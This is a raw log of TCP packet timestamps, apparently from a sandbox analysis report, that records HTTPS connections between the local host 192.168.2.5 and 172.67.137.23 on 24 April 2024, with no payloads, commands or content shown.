Apr 24, 2024 23:08:02.868879080 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.868908882 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.868938923 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.868964911 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.869088888 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.869503021 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.869574070 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.869601011 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.869632006 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.869646072 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.869754076 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.870419979 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.870474100 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.870508909 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.870556116 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.870568037 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.870778084 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.871417999 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.871469021 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.871526957 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.871539116 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.872359037 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.872400999 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.872416973 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.872427940 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.872481108 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.872492075 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.873146057 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.873172045 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.873224020 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.873235941 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.873322964 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.892585039 CEST	49764	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.892591953 CEST	443	49764	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:02.892702103 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:02.936770916 CEST	49764	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.014446974 CEST	443	49764	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.014636040 CEST	443	49764	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.014745951 CEST	49764	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.015351057 CEST	49764	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.015377045 CEST	443	49764	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.015400887 CEST	49764	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.015481949 CEST	49764	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.030944109 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.031131029 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.031188965 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.031199932 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.031229019 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.031481981 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.031491995 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.031514883 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.031594038 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.031614065 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.032265902 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.032331944 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.032346010 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.033149958 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.033226967 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.033241034 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.033258915 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.033303976 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.033312082 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.033349991 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.034173012 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.034255028 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.034929037 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.034992933 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.035892963 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.035948038 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.035988092 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.036041975 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.036708117 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.036773920 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.037749052 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.037806988 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.037869930 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.037934065 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.038593054 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.038675070 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.038692951 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.038752079 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.038759947 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.038804054 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.038804054 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.038851976 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.039259911 CEST	49765	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.039280891 CEST	443	49765	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.052916050 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.053028107 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.053077936 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.053106070 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.053164959 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.053215027 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.053817034 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.053880930 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.053952932 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.053965092 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.054920912 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.054975033 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.054985046 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.054996967 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.055035114 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.055835962 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.055896044 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.055907011 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.055970907 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.056796074 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.056862116 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.057548046 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.057725906 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.058408976 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.058454037 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.058474064 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.058485031 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.058511019 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.059276104 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.059341908 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.059353113 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.059437990 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.060234070 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.060307980 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.061058998 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.061124086 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.061194897 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.061248064 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.062108040 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.062664986 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.062838078 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.062902927 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.243068933 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.243161917 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.243299961 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.243375063 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.243393898 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.243427992 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.243482113 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.244009972 CEST	49766	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.244040966 CEST	443	49766	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.248609066 CEST	49767	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.248651981 CEST	443	49767	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.248720884 CEST	49767	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.248972893 CEST	49767	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.248986959 CEST	443	49767	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.584594965 CEST	443	49767	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.584892988 CEST	49767	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.584919930 CEST	443	49767	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.586131096 CEST	443	49767	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.586498022 CEST	49767	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.586664915 CEST	443	49767	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.586704969 CEST	49767	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.586711884 CEST	443	49767	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.640021086 CEST	49767	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.761204958 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.761260033 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.761302948 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.761317015 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.761332035 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.761429071 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.761467934 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.761471987 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.761483908 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.761662960 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.761681080 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.762067080 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.762075901 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.762160063 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.762197971 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.762207985 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.808619976 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.808646917 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.857256889 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.936183929 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.936394930 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.936470032 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.936511993 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.936537981 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.936583996 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.936913013 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.937133074 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.937177896 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.937186956 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.937283993 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.937565088 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.937643051 CEST	49759	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.937661886 CEST	443	49759	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.949471951 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.949551105 CEST	443	49768	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.949636936 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.949986935 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.950021029 CEST	443	49768	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.950917959 CEST	49769	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.950997114 CEST	443	49769	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.951167107 CEST	49769	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.951529980 CEST	49769	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.951565027 CEST	443	49769	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.952385902 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.952413082 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.952469110 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.953037977 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.953063965 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.953186989 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.954158068 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.954173088 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.954287052 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.954299927 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.955080986 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.955166101 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.955228090 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.955532074 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.955566883 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.956150055 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.956178904 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:03.956373930 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.956705093 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:03.956721067 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.283212900 CEST	443	49769	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.283569098 CEST	49769	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.283618927 CEST	443	49769	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.284123898 CEST	443	49769	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.284431934 CEST	49769	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.284542084 CEST	443	49769	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.284609079 CEST	49769	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.284609079 CEST	49769	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.284650087 CEST	443	49769	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.286437035 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.286632061 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.286642075 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.288240910 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.288305998 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.288671970 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.288805008 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.288805962 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.288892031 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.291096926 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.291301966 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.291361094 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.291399002 CEST	443	49768	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.291644096 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.291702032 CEST	443	49768	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.292269945 CEST	443	49768	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.292578936 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.292800903 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.292813063 CEST	443	49768	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.292843103 CEST	443	49768	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.293102980 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.293171883 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.293725014 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.293849945 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.293858051 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.293946028 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.295595884 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.295977116 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.295994043 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.296365023 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.298978090 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.299005032 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.299393892 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.299451113 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.299762964 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.299818039 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.299853086 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.299860001 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.300436974 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.300497055 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.300797939 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.300878048 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.300905943 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.300911903 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.328718901 CEST	49769	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.328799009 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.328804970 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.344089031 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.344105959 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.344119072 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.344134092 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.344139099 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.344156027 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.344166040 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.374914885 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.385385990 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.396076918 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.399694920 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.602780104 CEST	443	49767	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.602897882 CEST	443	49767	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.602960110 CEST	49767	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.603708029 CEST	49767	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.603728056 CEST	443	49767	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.604254007 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.604310036 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.604417086 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.604932070 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.604952097 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.610114098 CEST	49777	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.610141039 CEST	443	49777	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.610217094 CEST	49777	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.610605001 CEST	49777	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.610619068 CEST	443	49777	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.935384035 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.940474033 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.940519094 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.940905094 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.943257093 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.943331957 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.943587065 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.943628073 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.944856882 CEST	443	49777	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.947220087 CEST	49777	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.947231054 CEST	443	49777	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.948462963 CEST	443	49777	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.954596996 CEST	49777	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.954699993 CEST	443	49777	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:04.955943108 CEST	49777	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:04.996109009 CEST	443	49777	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.097229958 CEST	443	49768	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.097388983 CEST	443	49768	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.097445965 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.097548008 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.097569942 CEST	443	49768	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.097584963 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.097613096 CEST	49768	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.249476910 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.249576092 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.249630928 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.249643087 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.249772072 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.250365973 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.250380993 CEST	443	49770	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.250494003 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.250509977 CEST	49770	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.250957012 CEST	49778	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.251002073 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.251075029 CEST	49778	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.251698971 CEST	49778	443	192.168.2.5	172.67.137.23
